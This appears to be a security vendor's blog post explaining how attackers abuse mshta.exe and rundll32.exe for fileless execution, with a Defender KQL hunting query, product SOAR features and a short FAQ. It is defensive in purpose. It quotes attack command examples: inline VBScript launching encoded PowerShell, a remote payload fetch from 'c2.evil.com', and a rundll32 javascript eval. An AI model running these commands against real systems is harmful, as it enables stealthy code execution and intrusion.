Mshta & Rundll32 Abuse: Detect Fileless Attacks — Akuity SOC

In modern intrusion campaigns, threat actors consistently rely on trusted, pre-installed Windows utilities to bypass traditional perimeter defenses: this strategy is known as Living off the Land (LOLBins). Among these built-in system components, mshta.exe (Microsoft HTML Application Host) and rundll32.exe are premier vehicles for fileless execution, heavily leveraged by advanced adversaries and initial access brokers (e.g., Qakbot, AsyncRAT). By misusing these legitimate, Microsoft-signed binaries, attackers bypass lax AppLocker policies and execute arbitrary payloads without ever dropping a Portable Executable (PE) on disk.

Deconstructing MITRE ATT&CK Technique T1059.007

The stealth capabilities of mshta.exe stem from its innate architecture, which can instantiate active scripting engines (VBScript, JScript) directly from command-line arguments or via remote locations:

• Inline Script Execution: Attackers execute commands such as mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -enc ..."",0:close"). The script executes entirely inside Mshta's memory footprint without generating an on-disk .hta artifact.
• Remote Payload Staging: Supplying a remote URL (mshta http://c2.evil.com/payload.hta) forces the binary to fetch and execute an arbitrary HTML application on the fly, flying under the radar of signature-based web gateways.
• Rundll32 Script Protocol Abuses: By invoking the javascript: protocol handler, rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval(...) allows arbitrary JavaScript execution without spawning an interactive browser window.

The Native EDR Blind Spot

Traditional endpoint security solutions face a major hurdle: the parent executable resides legitimately in C:\Windows\System32\. Without deep command-line semantic inspection and strict parent-process anomaly auditing (such as an Office or mail client spawning mshta.exe), standard security agents often classify the invocation as benign administrative activity.

Proactive Threat Hunting with Advanced Hunting (KQL)

The following query queries the DeviceProcessEvents table in Defender for Endpoint to pinpoint suspicious script protocols, decode obfuscated Base64 strings, and isolate remote C2 endpoints:

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("mshta.exe", "rundll32.exe")
| where ProcessCommandLine has_any ("javascript:", "vbscript:", "about:", "http://", "https://")
    or ProcessCommandLine matches regex @"(?i)\b(wscript\.shell|scripting\.filesystemobject|eval)\b"
| extend TargetURI = extract(@"(?i)(?:https?|ftp)://[^\s""']+", 0, ProcessCommandLine)
| extend EncodedPayload = extract(@"(?i)(?:-enc|-encodedcommand|base64)[\s:=]+([A-Za-z0-9+/=]{20,})", 1, ProcessCommandLine)
| extend DecodedScript = iff(isnotempty(EncodedPayload), base64_decode_tostring(EncodedPayload), "N/A")
| extend ExecutionPattern = case(
    ProcessCommandLine has "javascript:", "Inline JavaScript",
    ProcessCommandLine has "vbscript:", "Inline VBScript",
    isnotempty(TargetURI), "Remote Payload Download",
    "Suspected API/ADS Call")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ExecutionPattern, TargetURI, DecodedScript, ProcessCommandLine

Automated SOAR Orchestration with Akuity SOC

When an attacker executes a fileless payload, manual triage creates latency that enables lateral movement. Akuity SOC bridges this gap with deterministic orchestration:

1. Native Triage Resolution: Akuity SOC's in-app AI assistant decodes and evaluates the Base64 payload in under 2 seconds, eliminating reliance on non-sovereign public web decoders that pose data leakage risks.
2. 1-Click SOAR Response: Instant execution of isolateDevice() and blockIocOnTenant() directly from the alert evidence locker to sever outbound C2 channels and preserve memory state for digital forensics.
3. Zero-Trust Governance: Enforces an AAL2 MFA challenge prior to triggering containment workflows, alongside immutable logging compliant with NIS 2 and SOC 2 Type II controls.

Technical Mini-FAQ

Can we completely ban mshta.exe and rundll32.exe through WDAC or AppLocker?

Blocking mshta.exe entirely is achievable in hardened corporate environments with minimal business impact. However, completely banning rundll32.exe will break core Windows features, including control panel dialogs and print spooler helpers. Implementing WDAC script enforcement and blocking unapproved parent-child relationships is the recommended approach.

Why does mshta.exe bypass local outbound firewall restrictions?

mshta.exe leverages the native Windows network stack (WinINet). Unless your endpoint firewall explicitly restricts outbound traffic per-binary or enforces strict web proxy filtering, requests to external command-and-control servers appear as legitimate HTTP/S traffic.